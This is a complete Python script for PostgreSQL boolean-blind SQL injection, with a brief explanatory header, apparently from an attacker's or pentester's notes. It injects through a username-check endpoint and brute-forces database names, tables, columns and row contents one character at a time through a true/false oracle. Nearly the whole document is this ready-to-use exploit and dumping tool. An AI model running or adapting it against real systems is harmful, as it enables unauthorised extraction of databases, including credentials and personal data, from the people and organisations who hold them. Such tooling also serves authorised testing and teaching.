Boolean Blind
PostgreSQL boolean-blind linear harness
Complete standalone file. Once oracle() returns True and False reliably, the same CLI can dump the current database, database names, table names, column names, and selected rows.
The only target-specific part is oracle(). The harness uses PostgreSQL syntax throughout: LENGTH, SUBSTRING, ASCII, current_database(), pg_database, information_schema, and LIMIT 1 OFFSET n. -D filters the database/catalog; --schema filters the schema and defaults to public.
import argparse
import string
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "
TRUE_STRING = "taken"
KNOWN_USER = "maria"
parser = argparse.ArgumentParser(
description="PostgreSQL boolean-blind SQL injection dumping harness.",
epilog=f"Example: {sys.argv[0]} -t http://example.com [-x http://127.0.0.1:8080] --current-db")
parser.add_argument("-t", "--target", required=True, type=str, help="URL of the target, including the port.")
parser.add_argument("-x", "--proxy", required=False, type=str, help="Optional proxy to pass traffic through.", default=None)
parser.add_argument("--current-db", required=False, action="store_true", help="Dump the current database name.")
parser.add_argument("--databases", required=False, action="store_true", help="Dump database names.")
parser.add_argument("--tables", required=False, action="store_true", help="Dump table names from the selected database.")
parser.add_argument("--columns", required=False, action="store_true", help="Dump column names from the selected table.")
parser.add_argument("--dump", required=False, action="store_true", help="Dump selected columns from the selected table.")
parser.add_argument("-D", "--database", required=False, type=str, help="Database name.", default=None)
parser.add_argument("-T", "--table", required=False, type=str, help="Table name.", default=None)
parser.add_argument("-C", "--columns-list", required=False, type=str, help="Comma-separated columns to dump.", default=None)
parser.add_argument("--schema", required=False, type=str, help="Schema name.", default="public")
args = parser.parse_args()
PROXY = args.proxy
if PROXY is not None:
PROXY = PROXY.strip()
PROXIES = {
"http": PROXY,
"https": PROXY
}
else:
PROXIES = {}
URL = args.target.rstrip("/").strip()
def oracle(s, q):
params = {
"u": f"{KNOWN_USER}' AND ({q}) -- -"
}
try:
r = s.get(url=f"{URL}/api/check-username.php", params=params, verify=False, timeout=10, proxies=PROXIES)
except Exception as e:
print(f"\n[-] request failed: {e}")
sys.exit(1)
return r.status_code == 200 and TRUE_STRING in r.text
def get_count(s, query, label):
count = 0
while True:
print(f"\r[+] Bruteforcing {label}: {count}", end="", flush=True)
if oracle(s, f"({query})={count}"):
print(f"\n[+] {label}: {count}")
return count
count += 1
def get_length(s, expr, label):
length = 0
while True:
print(f"\r[+] Bruteforcing length of {label}: {length}", end="", flush=True)
if oracle(s, f"LENGTH(({expr}))={length}"):
print(f"\n[+] Length of {label}: {length}")
return length
length += 1
def dump_value(s, expr, label):
value = ""
length = get_length(s, expr, label)
for pos in range(1, length + 1):
matched = False
for ch in CHARSET:
print(f"\r[+] Dumping {label}: {value}", end="", flush=True)
if oracle(s, f"ASCII(SUBSTRING(({expr}),{pos},1))={ord(ch)}"):
value += ch
matched = True
break
if not matched:
print(f"\n[-] Charset exhausted at position {pos} while dumping {label}")
sys.exit(1)
print(f"\n[+] {label}: {value}")
return value
def database_expr(position):
return f"SELECT datname FROM pg_database WHERE datistemplate=false ORDER BY datname LIMIT 1 OFFSET {position}"
def table_expr(database, schema, position):
return f"SELECT table_name FROM information_schema.tables WHERE table_catalog='{database}' AND table_schema='{schema}' ORDER BY table_name LIMIT 1 OFFSET {position}"
def column_expr(database, schema, table, position):
return f"SELECT column_name FROM information_schema.columns WHERE table_catalog='{database}' AND table_schema='{schema}' AND table_name='{table}' ORDER BY column_name LIMIT 1 OFFSET {position}"
def row_expr(schema, table, column, position):
return f"SELECT CAST({column} AS TEXT) FROM {schema}.{table} ORDER BY {column} LIMIT 1 OFFSET {position}"
if __name__ == "__main__":
s = requests.Session()
if args.current_db:
dump_value(s, "current_database()", "current database")
if args.databases:
database_count = get_count(s, "SELECT COUNT(*) FROM pg_database WHERE datistemplate=false", "database count")
for pos in range(0, database_count):
dump_value(s, database_expr(pos), f"database {pos}")
database = args.database
if not database and (args.tables or args.columns or args.dump):
database = dump_value(s, "current_database()", "current database")
if args.tables:
table_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.tables WHERE table_catalog='{database}' AND table_schema='{args.schema}'", "table count")
for pos in range(0, table_count):
dump_value(s, table_expr(database, args.schema, pos), f"table {pos}")
if args.columns:
if not args.table:
print("[-] --columns requires -T")
sys.exit(1)
column_count = get_count(s, f"SELECT COUNT(*) FROM information_schema.columns WHERE table_catalog='{database}' AND table_schema='{args.schema}' AND table_name='{args.table}'", "column count")
for pos in range(0, column_count):
dump_value(s, column_expr(database, args.schema, args.table, pos), f"column {pos}")
if args.dump:
if not args.table or not args.columns_list:
print("[-] --dump requires -T and -C")
sys.exit(1)
columns = []
for column in args.columns_list.split(","):
columns.append(column.strip())
row_count = get_count(s, f"SELECT COUNT(*) FROM {args.schema}.{args.table}", "row count")
for pos in range(0, row_count):
for column in columns:
dump_value(s, row_expr(args.schema, args.table, column, pos), f"{args.table}.{column} row {pos}")Find by: postgresql, postgres, boolean blind sqli, length, substring, ascii, current_database, pg_database, information_schema, limit offset, public schema, sqlmap style cli